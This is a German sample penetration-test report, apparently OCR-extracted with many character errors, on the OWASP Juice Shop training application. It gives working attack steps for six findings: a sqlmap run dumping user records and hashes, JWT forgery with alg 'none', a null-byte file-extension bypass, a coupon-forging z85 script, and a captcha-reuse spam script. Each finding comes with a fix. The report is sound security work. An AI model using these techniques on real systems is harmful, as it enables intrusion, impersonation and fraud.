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Methodik und Umfang

Dieses Dokument ist ein Bericht Gber eine Sicherheitsiberprifung der
Webanwendung Juicy Shop. Diese wurde durchgefuhrt, um Sicherheitsltcken zu
identifizieren, deren Auswirkungen zu bestimmen, alle Ergebnisse klar und
nachvollziehbar zu dokumentieren und Empfehlungen zur Behebung zu geben.

Der Test wurde nach dem Black-Box-Ansatz durchgefihrt, ohne Zugangsdaten oder
Vorwissen Uber die Anwendung, mit dem Ziel, unbekannte Schwachstellen zu
identifizieren. Die Tests wurden nicht-invasiv durchgefuhrt, um so viele
Fehlkonfigurationen und Sicherheitslicken wie moglich aufzudecken.

Die Bewertung war zeitlich begrenzt. Daher ist die folgende Liste der gefundenen
Schwachstellen nicht vollstandig. Es kann nicht garantiert werden, dass zuklnftig
keine weiteren Schwachstellen entdeckt werden.

Der Test umfasste die folgenden URLs:\
* https://demo.owasp-juice.shop/

Das vorliegende Dokument ist ein Beispielbericht fir einen Web-Penetrationstest. Als
Grundlage wurde die OWASP Juice Shop-Anwendung verwendet.
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Zusammenfassung

Die Suchfunktion im Shop wurde als anfallig fur SQL-Injection identifiziert. Dies
erlaubt Angreifern, Inhalte der Datenbank auszulesen, einschliellich sensibler Daten
wie Zugangsdaten.

Die Sitzungen in der Anwendung werden mit JSON Web Tokens (JWT) verwaltet. Diese
Tokens kdnnen von einem Angreifer manipuliert werden, um gultige Tokens ohne
gultige Anmeldeinformationen zu erzeugen. Dies wirde zu einer
Privilegieneskalation (horizontal und vertikal) fuhren, indem sich der Angreifer als
beliebiger Benutzer in der Anwendung ausgibt.

Ein geheimer Endpunkt wurde in der Anwendung gefunden. Obwohl er nicht auf einer
Seite verlinkt ist, ist er 6ffentlich zuganglich. Er enthdlt sensible technische
Informationen Uber die Anwendung, die von Angreifern fur Folgeangriffe genutzt
werden kénnen.

Die Werte der Rabattgutscheine konnten vom Tester decodiert werden. Dies
ermdglicht Angreifern, gultige Gutscheine mit hohen Rabatten zu erstellen.
Dadurch kénnten sie Produkte im Shop zu stark reduzierten Preisen oder sogar
kostenlos kaufen.

Die Feedback-Funktion der Anwendung ermoglicht es Angreifern, Feedback im Namen
eines anderen Benutzers zu hinterlassen. Im Backend werden keine Zugriffskontrollen
durchgefuhrt, was Angreifern erlaubt, bestehende Benutzer zu imitieren, wenn
Feedback gesendet wird.

Die betroffene Komponente implementiert einen schwachen Captcha-Mechanismus,
um Bots daran zu hindern, Feedback einzureichen. Durch das Umgehen dieser
Schutzmalinahme kénnten Angreifer die Formularibermittlung massiv
automatisieren und gefalschte Feedbacks generieren.
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Ubersicht der Schwachstellen

Im Rahmen dieses Penetrationstests wurden 2 kritische, und
Schwachstellen identifiziert:

Kritisch Hoch Mitte Niedrig Info

Abbildung 1 - Verteilung der identifizierten Schwachstellen

Schwachstelle Kritikalitat
SQL-Injection in der Suchfunktion Critical
Fehlerhafte Authentifizierung Critical

Sensible Daten 6ffentlich verfugbar

Falschbare Rabattgutscheine

Fehlerhafte Zugriffskontrolle im Feedback-Bereich

Schwache Captcha-Mechanismen im Feedback-Bereich
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1. SQL-Injection in der Suchfunktion

Status der Behebung:

Kritikalitat: Critical

CVSS-Score: 9.1

Empfehlung: OWASP Juicy Shop Recommendation: Benutzereingaben sollten
sorgfaltig gepruft werden, bevor sie in Datenbankabfragen verwendet werden.

Uberblick

Die Suchfunktion im Shop wurde als anfallig fur SQL-Injection identifiziert. Dies
erlaubt Angreifern, Inhalte der Datenbank auszulesen, einschliel3lich sensibler Daten
wie Zugangsdaten.

Beschreibung

Der Endpunkt /rest/products/search?q= kann in der Anwendung genutzt werden, um
Artikel zu filtern, indem ein Teilstring im Parameter q angegeben wird. Die folgende
Antwort zeigt ein normales Verhalten des genannten Endpunkts:
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& C ® 127.00.1:30
Pretty-print

{
"status": "success",
"data": [

{n

"deluxePrice": 6.99,
": "apple_juice.jpg",
025-08-29 15:11:12.819 +00:00",
"updatedAt 025-08-29 15:11:12.819 +00:00",
"deletedAt": null

"id": 6,
"name": "Banana Juice (1666ml)",

ipti "Monkeys love it the most.",
"price": 1.99,
"deluxePrice": 1.99,
"image": "banana_juice.jpg",
"createdAt "2025-08-29 15:11:12.819 +00:00",
"updatedAt 025-08-29 15:11:12.819 +00:00",
"deletedAt": null

"id": 42,
"name": "Best Juice Shop Salesman Artwork",
"description”: "Unique digital painting depicting Stan, our most qualified and almost profitable salesman. He made a succesful carree
\uee3Cem\ubO3Efinally\u603C/em\ubO3E adding his expertise to the Juice Shop marketing team.",
"price": 56000,
"deluxePrice": 5000,
": "artwork2.jpg",
"2025-08-29 15:11:12.823
"updatedAt 025-08-29 15:11:12.823
"deletedAt": null

"id": 30,

"name": "Carrot Juice (1006ml)",

"description”: "As the old German saying goes: \"Carrots are good for the eyes. Or has anyone ever seen a rabbit with glasses?\"",
"price": 2.99,

"deluxePrice": 2.99,

"image": "carrot_juice.jpeg",

"createdAt "2025-08-29 15:11:12.822 +00:00",

"updatedAt 025-08-29 15:11:12.822 +00:00",

"deletedAt": null

"Eggfruit Juice (566ml)",
"description”: "Now with even more exotic flavour.",
i : 8.99,
"deluxePrice": 8.99,
i ": "eggfruit_juice.jpg",
"2025-68-29 15:11:12.819 +00:00",
"2025-08-29 15:11:12.819 +00:00",
"deletedAt": null

Abbildung 2 - HTTP-Antwort GET /rest/products/search?q=

Es wurde jedoch festgestellt, dass das Hinzufuigen eines einfachen
Anfuhrungszeichens ' einen Fehler in der Anwendung verursacht und eine SQLite-
Fehlermeldung anzeigt.

C @ 127.00.1:3

OWASP Juice Shop (Express 714.21.0)

500 Error: SQLITE_ERROR: near "'%'": syntax error

Abbildung 3 - SQLite-Fehler durch SQLi-Payload verursacht

Das einfache Anfihrungszeichen wird haufig in der Syntax von SQL-Abfragen
verwendet. Ein Angreifer, der diesen Fehler mit der obigen Eingabe sieht, kann leicht
das Vorhandensein einer SQL-Injection (SQLi)-Schwachstelle erkennen. Das Tool sqlmap
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wurde dann verwendet, um die Schwachstelle zu bestatigen und sie auszunutzen, um
sensible Daten aus der Datenbank zu extrahieren.

sqlmap -r sqli_search.http -p g --level 3

https://sqlmap.or

[!] legal disclaimer: Usage of sqglmap for attacking targets without prior mutual consent is illegal. It is the end user's
ate and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this prog

[*] starting @ 17:41:05 /2025-08-29/

[ parsing HTTP request from 'sqli_search.http'

[ testing connection to the target URL

[ checking if the target is protected by some kind of WAF/IPS

[ testing if the target URL content is stable

[ target URL content is stable

[ ] heuristic (basic) test shows that GET parameter 'q' might not be injectable

[ testing for SQL injection on GET parameter 'q'

[ testing 'AND boolean-based blind - WHERE or HAVING clause'

[ GET parameter 'q' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable
[ heuristic (extended) test shows that the back-end DBMS could be 'SOLite'

Abbildung 4 - Erkennung der SQLi mit sqimap

Der Inhalt einer Tabelle namens Users konnte extrahiert werden, einschliel3lich MD5-
Hashes, die offline geknackt werden kénnen, um Klartext-Passworter zu erhalten.

Database: <current>
able:| Users
[22 entries]

J12934@Qjuice-sh.op

accountant@juice-sh.op e541

admin@juice-sh.op 0c36

amy@juice-sh.op 6edd . | bkimminich
bender@juice-sh.op 8619 <blank>
bjoern.kimminich@gmail.com 3869 ' | <blank>
bjoern@juice-sh.op f2f9 » | <blank>
bjoern@owasp.org bo3f y | <blank>
chris.pike@juice-sh.op 3c2a <blank>
ciso@juice-sh.op 9ad5 l | wurstbrot
demo 030f y | <blank>
emma@juice-sh.op 7f31 <blank>
ethereum@juice-sh.op 9283 ) <blank>
jim@juice-sh.op 10a7 <blank>
john@juice-sh.op 963e . | <blank>
mc.safesearch@juice-sh.op 05f9 " | <blank>
morty@juice-sh.op feo1 <blank>
stan@juice-sh.op 0047 ) jOhNNny
support@juice-sh.op 402f E=ma?
testing@juice-sh.op €904 L | SmilinStan
uvogin@juice-sh.op 2c17 . | evmrox
wurstbrot@juice-sh.op <blank>

Abbildung 5 - Ausnutzung der SQLi mit sqilmap

Schliel3lich konnte auch der Quellcode der Anwendung extrahiert werden. Der
folgende Screenshot zeigt, dass die Eingabedaten tatsachlich nicht bereinigt werden,
bevor sie in die SQL-Abfrage eingefligt werden.
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' : req.query.q ??

criteria = (criteria.length <= 200) ? criteria : criteria.substrina(0, 2060
models.sequelize.query * FROM Products WHERE ((name LIKE criteria}%' OR descrif %${criteria}%’
deletedAt IS NULL)

.then ! ([products

Abbildung 6 - Quellcode der SQLi-Schwachstelle

Empfehlung

* Benutzereingaben sollten niemals blind vertraut und mussen vor der Einbindung in
SQL-Abfragen bereinigt werden.

* Es sollten Prepared Statements verwendet werden, um zu verhindern, dass die
SQL-Syntax durch boésartige Payloads verandert wird.

Zusatzliche Informationen

* https://owasp.org/www-community/attacks/SQL_Injection
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2. Fehlerhafte Authentifizierung

Status der Behebung:

Kritikalitat: Critical

CVSS-Score: 9.0

Empfehlung: OWASP Juicy Shop Recommendation: Upgrade der
SignaturUberprufung der Session-Tokens.

Uberblick

Die Sitzungen in der Anwendung werden mit JSON Web Tokens (JWT) verwaltet. Diese
Tokens kdnnen von einem Angreifer manipuliert werden, um gultige Tokens ohne
gultige Anmeldeinformationen zu erzeugen. Dies wirde zu einer
Privilegieneskalation (horizontal und vertikal) fihren, indem sich der Angreifer als
beliebiger Benutzer in der Anwendung ausgibt.

Beschreibung

Es wurde festgestellt, dass die JSSON Web Tokens (JWT) zur Sitzungsverwaltung
verwendet werden, ohne sie serverseitig zu speichern. Diese Tokens werden vom
Backend nach der Authentifizierungsphase ausgegeben. Ihre Gultigkeit basiert auf
dem Signaturteil, der nicht von Benutzern manipuliert werden sollte.

Mehrere Signaturalgorithmen sind verfugbar; diese kbnnen symmetrisch oder
asymmetrisch sein (z. B. HS256, RS256, ...). Der erste Teil eines JWT enthalt
Metadaten, die den Algorithmus fur die Signatur angeben. Zum Zeitpunkt der
Bewertung konnten diese Metadaten geandert werden, um eine andere Methode
anzugeben (in diesem Fall none). Durch das Setzen des Algorithmus auf none und das
Entfernen der Signatur konnte der Tester ein Token falschen, das vom Backend als
gultig akzeptiert wurde.
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el = I Inspector w = - X
Request
Pretty  Raw  Hex I N = | Selection 35(0x23) A
1 GET /profile HTTP/1.1
> Host: 127.0.0.1:3000 i et
3 sec-ch-ua: "Chromium";v="139", "Not;A=Brand";v="99" eyJ0eXAL 01 JKV1QiLCIbGEi 01 Jub25LIn0
4 sec-ch-ua-mobile: 70
5 sec-ch-ua-platform: "Linux"
5 Accept-Language: en-US,en;q=0.9 e U oot ~ ®
7 Upgrade-Insecure-Requests: 1
g User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/S37.36 (KHTML, like Gecko) Chrome/139.0.0.0 eyJ0eXAi0i JKV1QiLCIhbGei 01 Jub2511n0
Safari/537.36
9 Accept:
text/html, application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8, applicatio Deoasa o Basetd 00
n/signed-exchange;v=h3;q=0.7
0 Sec-Fetch-Site: same-origin I("typ“:"Jw‘l‘","alg":"none") I
11 Sec-Fetch-Mode: navigate
2 Sec-Fetch-User: 71 y
3 Sec-Fetch-Dest: document DPERE hoe
14 Referer: http://127.0.0.1:3000/
15 Accept-Encoding: gzip, deflate, br Request attributes 2 v
15 Cookie: token=
&yJ0eXA1 01 JKV1Qi LCIhbGEi 01 Jub25LIN0. ey zdGFOAXMI 01 J 2dWN] ZXNZI1wi ZGFOY ST SeyJpZCIE6MjMSINVZZXIUYW1lTjoiTiwiZWl | Request query parameters 0 &
haww1 01 JwZWS0ZXNOQGFsYWI1Z55mc1IsInBhe3N3b3JkI j 01 NTULOGMOZDEX ZT ASM] UwODcxZDd LN2NLMT TONGY zMmQ1LCIyb2x 11 jo1Y3
VzdGotZXT1LCIkZWx 1eGVUb2t Lbi 1611 IsImxhc3RMb2dpbk Lwl j 01MCAwL j AUMCI STnByb2ZpbGVIbWFNZST6I1She aNLdHMveHVibGLIL | g
lequest body parameters 0 v
21tYWdlcy91cGxvYWRzL2RLZMF1bHQUE3ZnT iwi dGIOCFNLY 3J 1dCI 611 T sIml zQWNOaXZ11 j pocnVILCI j cmvhdGkQXQi 01 TyMDI 1LT A4
LTISIDE20;)I20j MAL] ESMi ArMDAGMDALLCI 1cGRhdGVK QXQi 01 TyMDI 1LTA4LTISIDE20] 120] MALj ESMi ArMDAGMDAL LCIk Zwx LdGVk QxQ
Request cookies 1 v
@ & €|[>] | search © | 0highlights
Request headers 16 v
Response
Pretty Raw Hex  Render = & | Pespcose boallers 2. g

. OWASP Juice Shop

User Profile

Usemame:

File Upload:

Choose File BIGRIEE-LEL)

Upload Picture

Image URL

Abbildung 7 - JWT-Verschliusselungsalgorithmus durch ,,none” ersetzt

Anschlieend konnte durch das Entfernen der Signatur der Datenanteil des Tokens
von einem Angreifer gedndert werden, einschlie3lich der Session-ID. Dies ermdglicht
die Imitation eines beliebigen Benutzers in der Anwendung.
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L) = L] Inspector wd = - x

o
Request o
Pretty ~ Raw  Hex _ W = | Selection 87 (0x57) A~ 3
1 GET /profile HTTP/1.1 3
2 Host: 127.0.0.1:3000 — =t %
5 sec-ch-ua: ”Chm'f‘l;"”"?‘/:“lag"' "Not; A=Brand” ; v="99" eyJzdGFOAXMi 0i JzdWNj ZXNZT1wi ZGFOY SI 6ey JpZCI 6MXOsImLhdCI6M
4| sec-ch-ua-fiobile: 70 Tc1N]j QANDgwOSW1 ZGFOY SSpZCIEMXQ
= sec-ch-ua-platform: *Linux* B
5 Accept-Language: en-US,en;q=0.9
7 Upgrade-Insecure-Requests: 1 At o URL encoting © =
& User-Agent: Mozilla/5.0 (X11; Linux x86_64) ApplewebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 g e @ 2
safari/537.36 eyJzdGFOAXMi 01 JzdWN] ZXNzT1wi ZGFOY ST 6eyIpZCI6MXOSImLhdCI6M W
9 Accept: T 1N] Q4NDgWOSWi ZGFOY SSpZCI 6MXO
text/html, application/xhtml+xml, application/xml;q=0.9,image/avif,image/webp,image/apng, */*;q=0.8, applicatio
n/signed-exchange;v=b3;q=0.7 [54
10 Sec-Fetch-Site: same-origin Do Basetd v o)
_ 1 : 2 o
11 Sec-Fetch-Mode: navigate 2
12 Sec-Fetch-User: 71 {"status":"success" |"data":{"id": 1}| "iat" :1756484809, " dat 2
13 Sec-Fetch-Dest: document a.id":1} 3
14 Referer: http://127.0.0.1:3000/ 2
15 Accept-Encoding: gzip, deflate, br : Z
16 Cookie: token= ge ]
eyJ0eXA1 01 JKV1Qi LCIhbGei 01 Jub2511n0. By IZdGROdXNM 01 JZdwWN] ZXNZT 1 wi ZGFOY ST6eyIpZCT 6MXOST il HACTEMT C1Nj QANDGWOSW
1ZGFOYSSpZCIGMXO. Request attributes 2 v
Connection: keep:alive
Request query parameters [
Request body parameters 0 v
@ & [€|[3] | search £ Ohighlights | O L slllniad
Request cookies 13 v
Response i
Pretty ~ Raw  Hex  Render £ | Requstresdes 6 o
& Back . Response headers 14 v
g
User Profile
Username:
File Upload:
Choose File [CEITRLEE)
Upload Picture
or
Image URL &

Abbildung 8 - Manipulation des Feldes ,,id” in den JWT-Daten

Empfehlung

* Keine benutzerdefinierten JWT-Implementierungen verwenden
o Stattdessen Open-Source-Implementierungen mit bewédhrten
Sicherheitsmechanismen einsetzen
* Bei authentifizierten Endpunkten muss wahrend der JWT-Uberpriifung der
Signaturalgorithmus auf eine moéglichst kleine Liste zuldssiger Algorithmen
beschrankt werden

Zusatzliche Informationen
* https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures/
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3. Sensible Daten 6ffentlich verfugbar

Status der Behebung:

Kritikalitat:

CVSS-Score:

Empfehlung: OWASP Juicy Shop Recommendation: Zugriffskontrollen hinzufugen,
um den Zugriff auf sensible und administrative Endpunkte zu beschranken.

Uberblick

Ein geheimer Endpunkt wurde in der Anwendung gefunden. Obwohl er nicht auf einer
Seite verlinkt ist, ist er 6ffentlich zuganglich. Er enthdlt sensible technische
Informationen Uber die Anwendung, die von Angreifern fur Folgeangriffe genutzt
werden kénnen.

Beschreibung

Der Endpunkt /ftp konnte vom Tester durch Fuzzing der Seiten der Anwendung leicht
gefunden werden. Diese Seite ist fir normale Benutzer vorgesehen und listet sensible
Dateien mit technischen Informationen uber die Anwendung auf.

c (3] Bttpsy//juice-shop.herokuapp.com,

~ | ftp
quarantine acquisitions.md announcement_encrypte...
coupons_2013.md.bak eastere.gg encrypt.pyc
incident-support.kdbx legal.md package-lock.json.bak
package.json.bak suspicious_errors.yml

Abbildung 9 - Sensible Dateien 6ffentlich verfugbar

Solche Dateien enthalten Informationen, die Angreifer verwenden kdnnen, um ein
besseres Verstandnis der Funktionsweise der Anwendung zu erlangen und weitere
Angriffe durchzufuhren. Auf den ersten Blick kénnen nur Dateien mit den

Endungen .pdf und .md heruntergeladen werden. Dieser Schutzmechanismus kann
jedoch umgangen werden, indem ein Null-Byte am Ende des Dateinamens
hinzugefugt wird, gefolgt von einer gultigen Dateierweiterung.

Der folgende Screenshot zeigt, dass die eingeschrankte Datei coupons_2013.md.bak
heruntergeladen werden kann, indem der Endpunkt /ftp/
coupons_2013.md.bak%2500.md aufgerufen wird.
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juice-shop.herokuapp.com

Recent download history

@ coupons_2013.md.bak%00
(1).md

OWASP Juice Shop (Exprejmems
n4.21.0) —

403 Error: Only .md and .pdf files are allowed! Full download history
at verify (/app/buildiroutes/ffileServer.js:59:18)
at /app/build/routesffileServer.js:43:13
at Layer.handle [as handle_request] (/app/node_modules/express/iib/router/flayer.js:95:5)
at trim_prefix (/app/node_modules/express/lib/router/index.js:328:13)
at /app/node_modules/express/iib/router/indexjs:286:9
at param (/app/node_modules/express/lib/router/index.js:365:14)
at param (/app/node_modules/express/lib/router/index.js:376:14)
at Function.process_params (/app/node_modules/express/lib/router/index.js:421:3)
at next (/app/node_modules/express/lib/router/index.js:280:10)
at /app/node_modules/serve-index/index.js:145:39
at FSReqCallback.oncomplete (node:fs:198:5)

Abbildung 10 - Umgehung der Dateiendungskontrolle mittels Null-Byte

Empfehlung

* Zugriffskontrollen implementieren, um den Zugriff auf sensible Endpunkte zu
beschranken.

* Null-Bytes neutralisieren, wenn URL-Parameter geparst werden.

Zusatzliche Informationen

* https://owasp.org/www-project-top-ten/2017/A3_2017-Sensitive_Data_Exposure
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4. Falschbare Rabattgutscheine

Status der Behebung:

Kritikalitat:

CVSS-Score:

Empfehlung: OWASP Juicy Shop Recommendation: Generieren Sie Gutscheinwerte
mit nicht vorhersagbaren Algorithmen.

Uberblick

Die Werte der Rabattgutscheine konnten vom Tester decodiert werden. Dies
ermoglicht Angreifern, gultige Gutscheine mit hohen Rabatten zu erstellen.
Dadurch kénnten sie Produkte im Shop zu stark reduzierten Preisen oder sogar
kostenlos kaufen.

Beschreibung

Nach dem Herunterladen der sensiblen Datei coupons_2013.md.bak (siehe
Schwachstelle Sensible Daten offentlich verftighbar) konnte der Tester auf abgelaufene
Gutscheine zugreifen. Diese konnten zwar in der Anwendung nicht verwendet werden,
gaben dem Tester jedoch Einblicke in das zugrunde liegende Generierungssystem der
Gutscheine.

Die erwahnten Gutscheine sind unten aufgelistet und wurden mit dem z85-
Algorithmus codiert:

n<MibgC7sn
mNYS#gC7sn
0*IVigC7sn
k#pD1gC7sn
0*I]1pgC7sn
n(XRvgC7sn
n(XLtgC7sn
k#*AfgC7sn
g:<IggC7sn
pEw80gC7sn
pes[BgC7sn
1}6D%$gC7ss

Dies ist kein Verschlisselungsalgorithmus und erfordert daher keinen geheimen
Schlussel zur Decodierung. Das folgende Python-Skript wurde flr den
Decodierungsprozess verwendet:

from zmq.utils import z85

with open("coupons_2013.md.bak") as file:
coupons = file.read().strip().split()
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for coupon in coupons:
decoded = z85.decode(coupon).decode("utf-8")
print(decoded)

Die resultierenden decodierten Werte sind unten aufgefihrt. Ihr Format konnte wie
folgt erkannt werden:

* Drei Buchstaben flr den Monat (Grol3buchstaben)
* Zweizahlige Jahreszahl

* Bindestrich

« Zweizahlige Prozentangabe des Rabatts

JAN13-10
FEB13-10
MAR13-10
APR13-10
MAY13-10
JUN13-10
JUL13-10
AUG13-10
SEP13-10
0CT13-10
NOV13-10
DEC13-15

Der folgende Code wurde verwendet, um einen gefalschten Gutschein mit dem Datum
des Assessments zu erstellen:

k#*Agh7ZWt

Wie im folgenden Screenshot gezeigt, wurde der Gutschein erfolgreich vom System
akzeptiert und hat den Warenkorbpreis reduziert.

My Payment Options

Add new card Add a credit or debit card

Pay using wallet Wallet Balance

Add a coupon Add a coupon code to receive

Need a coupon code? Follow us on BlueSky or Reddit for monthly coupons and other spam!

Other payment options

You can review this order before it is finalized.

Abbildung 11 - Der gefalschte Gutschein wurde erfolgreich eingelést
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Empfehlung

* Die Werte der Gutscheine sollten einzigartig und nicht vorhersagbar sein, indem
Zufalligkeit im Generierungsalgorithmus hinzugefugt wird.

Zusatzliche Informationen
* https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures/
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5. Fehlerhafte Zugriffskontrolle im Feedback-
Bereich

Status der Behebung:

Kritikalitat:

CVSS-Score:

Empfehlung: OWASP Juicy Shop Recommendation: Extrahieren Sie die Identitat des
Absenders aus der Benutzersitzung.

Uberblick

Die Feedback-Funktion der Anwendung ermoglicht es Angreifern, Feedback im Namen
eines anderen Benutzers zu hinterlassen. Im Backend werden keine Zugriffskontrollen
durchgefuhrt, was Angreifern erlaubt, bestehende Benutzer zu imitieren, wenn
Feedback gesendet wird.

Beschreibung

Das Kunden-Feedback-Panel erlaubt es Angreifern, andere Benutzer der Anwendung
zu imitieren, wenn Feedback eingereicht wird. Die Identitat des Benutzers, der das
Feedback sendet, wird nicht aus der Sitzung, sondern aus den Anfragedaten
entnommen. Die Anfrage kann unauthentifiziert durchgefiihrt werden, indem
Sitzungsdaten aus dem Cookie entfernt werden.

Dies ermoglicht einem Angreifer, beliebige Werte im Feld UserId zu Ubermitteln, was
dazu fuhrt, dass er sich als der Benutzer ausgibt, der dieser ID entspricht.
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Request
Pretty Raw Hex

POST /api/Feedbacks/ HTTP/1.1
Host: 127.0.0.1:3000
Content-Length: 89

U W N =

Content-Type: application/json
6 1
captcha 7o
"captcha":"10",
"comment":"test (***1n@juice-sh.op)",
"rating":1
}

(:>{:} &l Search

Response
Pretty Raw Hex R

1 HTTP/1.1 201 Created
Access-Control-Allow-Origin: *
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Feature-Policy: payment 'self'
X-Recruiting: /#/jobs
Location: /api/Feedbacks/14
Content-Type: application/json; charset=utf-8
Content-Length: 174
ETag: W/"ae-Ga4rB2ParsDQym7NjR3jeUgtQbM"
Vary: Accept-Encoding
Date: Fri, 29 Aug 2025 19:52:33 GMT
Connection: keep-alive

m o wN

o I (o I 0 o IR I )

N = O

it

14 Keep-Alive: timeout=5
15
16 {
"status":"success",
l’ﬂﬁfa":t
"1d":14,
"UserId":1,
"comment":"test (***1n@juice-sh.op)",
"rating":1,
"updatedAt":"2025-08-29T19:52:32.9952",
"createdAt" :"2025- 08-29T19:52:32.9952"

il
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Abbildung 12 - Imitation eines Benutzers beim Absenden eines Feedbacks

Empfehlung

» Zugriffskontrollen fir die Feedback-Ubermittlungsroute implementieren
* Das Feld UserId aus dem Anfrage-Body entfernen und die Identitat direkt aus der
Benutzersitzung ableiten

Zusatzliche Informationen
* https://owasp.org/Top10/A01_2021-Broken_Access_Control/
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6. Schwache Captcha-Mechanismen im Feedback-
Bereich

Status der Behebung:

Kritikalitat:

CVSS-Score:

Empfehlung: OWASP Juicy Shop Recommendation: Installieren oder implementieren
Sie einen starken Captcha-Schutz.

Uberblick

Die betroffene Komponente implementiert einen schwachen Captcha-Mechanismus,
um Bots daran zu hindern, Feedback einzureichen. Durch das Umgehen dieser
Schutzmalinahme kénnten Angreifer die Formularibermittlung massiv
automatisieren und gefalschte Feedbacks generieren.

Beschreibung

Das Kunden-Feedback-Panel ist durch ein Captcha geschitzt. Ziel dieser MalBnahme ist
es, die Automatisierung der Formularubermittlung zu verhindern. Ohne diesen
Mechanismus kdnnte ein bosartiger Bot beispielsweise die Funktion mit Spam
uberfluten, um legitime Feedbacks zu verdrangen.

Es wurde jedoch festgestellt, dass die implementierte Captcha-L6ésung leicht von
einem Bot umgangen werden kann.

Wie im folgenden Screenshot gezeigt, besteht die Challenge lediglich aus einfachen
mathematischen Operationen (Additionen und Subtraktionen). Eine solche Challenge
ist fur eine Maschine trivial [6sbar und kann leicht aus dem HTML-Code ausgelesen
werden.
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' OWASP Juice Shop Q @ Account W VourBaskat @En

Customer Feedback

Comment*
© Max. 160 characters

ET]

CAPTCHA: Whatis 8-7+4 7

Result*

Abbildung 13 - Schwacher Captcha-Schutz mit einfacher mathematischer
Aufgabe

Daruber hinaus ist die Antwort auf die Challenge in der Serverantwort enthalten, wenn
das Captcha angefordert wird.

< C ® 127.0.0.1:

Pretty-print 2

{
"captchald": 4,

Sicaptcha™ "4 77",
"answer": "18"

Abbildung 14 - Antwort in der Response beim Abrufen des Captchas

Schliel3lich werden die verschiedenen Challenges durch eine eindeutige captchald
identifiziert. Ein Angreifer muss nicht fur jede Formularubermittlung eine neue
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Challenge anfordern. Eine einzige Challenge-Response kann mehrfach
wiederverwendet werden.

Der folgende Python-PoC zeigt, wie mehrere Feedbacks in Folge eingereicht werden
kénnen:

import requests
import os

URL = "http://juice-shop.herokuapp.com"

# Get one captcha challenge

res = requests.get(os.path.join(URL, "rest/captcha"), proxies={"http":"http://
127.0.0.1:8080"}) .json()

captchald, answer = res["captchald"], res["answer"]

def fuzz():
# Post 5 feedbacks with a different content
for i in range(5):
data = {
"UserId": 23,
"captchald": captchald,
"captcha": answer,
"comment": f"test {i}",
"rating":1
}
res = requests.post(os.path.join(URL, "api/Feedbacks"), json=data,
proxies={"http":"http://127.0.0.1:8080"}).json()

if res["status"] != "success":
print("Error: the feedback could not be posted")
return

print("Success: All the feddbacks have been posted by this bot.")

fuzz()

Der folgende Screenshot zeigt den resultierenden Spam im Admin-Interface:
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= .‘OWASP Juice Shop

Administration

Registered Users

°
°
°
°
°
°
°
°
°
°

Abbildung 15 - Feedback-Spam im Administrator-Interface

Empfehlung

* Existierende Captcha-Ldsungen mit starken Schutzmechanismen nutzen, z. B.
Google reCAPTCHA (proprietar)
* Bei einer eigenen Implementierung:
o Die Antwort darf nicht innerhalb der Challenge-Antwort Gbermittelt werden
o Die Challenge darf nicht wiederverwendbar sein
o Sie muss gegen automatische Solver resistent sein
o Einsendungen sollten Rate-Limiting enthalten

Zusatzliche Informationen

* https://owasp.org/www-project-automated-threats-to-web-applications/assets/
0ats/EN/OAT-009_CAPTCHA_Defeat
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